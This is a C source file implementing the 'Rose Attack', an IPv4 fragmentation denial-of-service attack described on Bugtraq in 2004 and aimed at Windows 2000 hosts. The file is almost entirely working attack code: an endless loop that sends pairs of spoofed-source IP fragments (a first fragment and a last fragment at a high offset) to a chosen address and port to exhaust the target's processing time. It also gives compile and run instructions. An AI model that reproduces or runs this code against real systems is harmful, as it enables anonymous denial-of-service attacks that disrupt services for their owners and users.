Program that demonstrates the Rose Attack eating up CPU processing time on a Windows 2000 box.
1affe79e6026e065c1e1f74743818f1905a9bd31d0c94f82f8de9b88e54adc91
/*-------------------------------------------------------------*/
/*
Implementation of Rose Attack described by Gandalf <gandalf@digital.net>.
Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
Written by Laurent Constantin
Library netwib must be installed:
http://www.laurentconstantin.com/en/netw/netwib/
http://go.to/laurentconstantin
To compile and run :
gcc -Wall -o rose rose.c `netwib-config -lc`
./rose 1 www.example.com 80
This was successfully tested with netwib 5.12.0, under Linux
to test a Windows 2000 host. Local network is Ethernet.
*/
/*-------------------------------------------------------------*/
#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>
/*-------------------------------------------------------------*/
typedef enum {
ROSE_TYPE_TCP = 1,
ROSE_TYPE_UDP = 2
} rose_type;
/*-------------------------------------------------------------*/
typedef struct {
rose_type type;
netwib_ip ipad;
netwib_port port;
netwib_bool display;
netwib_buf buf;
netwib_io *pio;
} rose_params;
/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp)
{
netwib_iphdr ipheader;
netwib_tcphdr tcpheader;
netwib_udphdr udpheader;
netwib_buf payload;
netwib_uint32 numsent = 0;
/* This can be optimized because ipheader for example does not
need to be initialized each time. However, this is easier
to understand. */
while (NETWIB_TRUE) {
/* construct first fragment */
netwib__buf_reinit(&prp->buf);
netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipheader));
ipheader.header.ip4.morefrag = NETWIB_TRUE;
ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
netwib_er(netwib_uint32_init_rand_all(&ipheader.src.ipvalue.ip4));
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
netwib_er(netwib_tcphdr_initdefault(&tcpheader));
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.dst));
} else {
tcpheader.dst = prp->port;
}
tcpheader.ack = NETWIB_TRUE;
netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
&payload));
netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
&prp->buf));
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_udphdr_initdefault(&udpheader));
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.dst));
} else {
udpheader.dst = prp->port;
}
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
&prp->buf));
break;
}
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
/* construct last fragment */
netwib__buf_reinit(&prp->buf);
ipheader.header.ip4.morefrag = NETWIB_FALSE;
ipheader.header.ip4.offsetfrag = 0x1FF0;
switch(prp->type) {
case ROSE_TYPE_TCP :
ipheader.protocol = NETWIB_IPPROTO_TCP;
break;
case ROSE_TYPE_UDP :
ipheader.protocol = NETWIB_IPPROTO_UDP;
break;
}
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
/* dot display */
if (!prp->display && (numsent%100)==0) {
printf("."); fflush(stdout);
}
numsent++;
}
return(NETWIB_ERR_OK);
}
/*-------------------------------------------------------------*/
int main(int argc, char* argv[])
{
rose_params rp;
netwib_buf ipstr;
netwib_err ret;
/* initialize netwib */
netwib_init();
/* check parameter count */
if (argc < 3 || argc > 4) {
printf("Usage : %s type(1or2) ipaddress [port]\n", argv[0]);
printf("Example: %s 1 1.2.3.4 80\n", argv[0]);
printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
printf(" ipaddress: address to test\n");
printf(" port : optional port number (0 means random)\n");
return(1);
}
/* first parameter is type */
rp.type = atoi(argv[1]);
switch(rp.type) {
case ROSE_TYPE_TCP :
case ROSE_TYPE_UDP :
break;
default :
printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
return(2);
}
/* second parameter is IP address */
netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
if (ret != NETWIB_ERR_OK) {
printf("Second parameter must be an IP or hostname (currently=%s)\n",
argv[2]);
return(3);
}
/* third parameter is port number */
rp.port = 0;
if (argc == 4) {
rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
}
/* set to NETWIB_TRUE to activate display */
rp.display = NETWIB_FALSE;
/* instead of allocating memory each time, just use this permanent buffer */
netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
/* initialize spoofing feature */
netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
&rp.pio));
/* main function */
ret = rose_loop(&rp);
if (ret != NETWIB_ERR_OK) {
netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
return(ret);
}
/* close netwib */
netwib_er(netwib_io_close(&rp.pio));
netwib_er(netwib_buf_close(&rp.buf));
netwib_close();
return(0);
}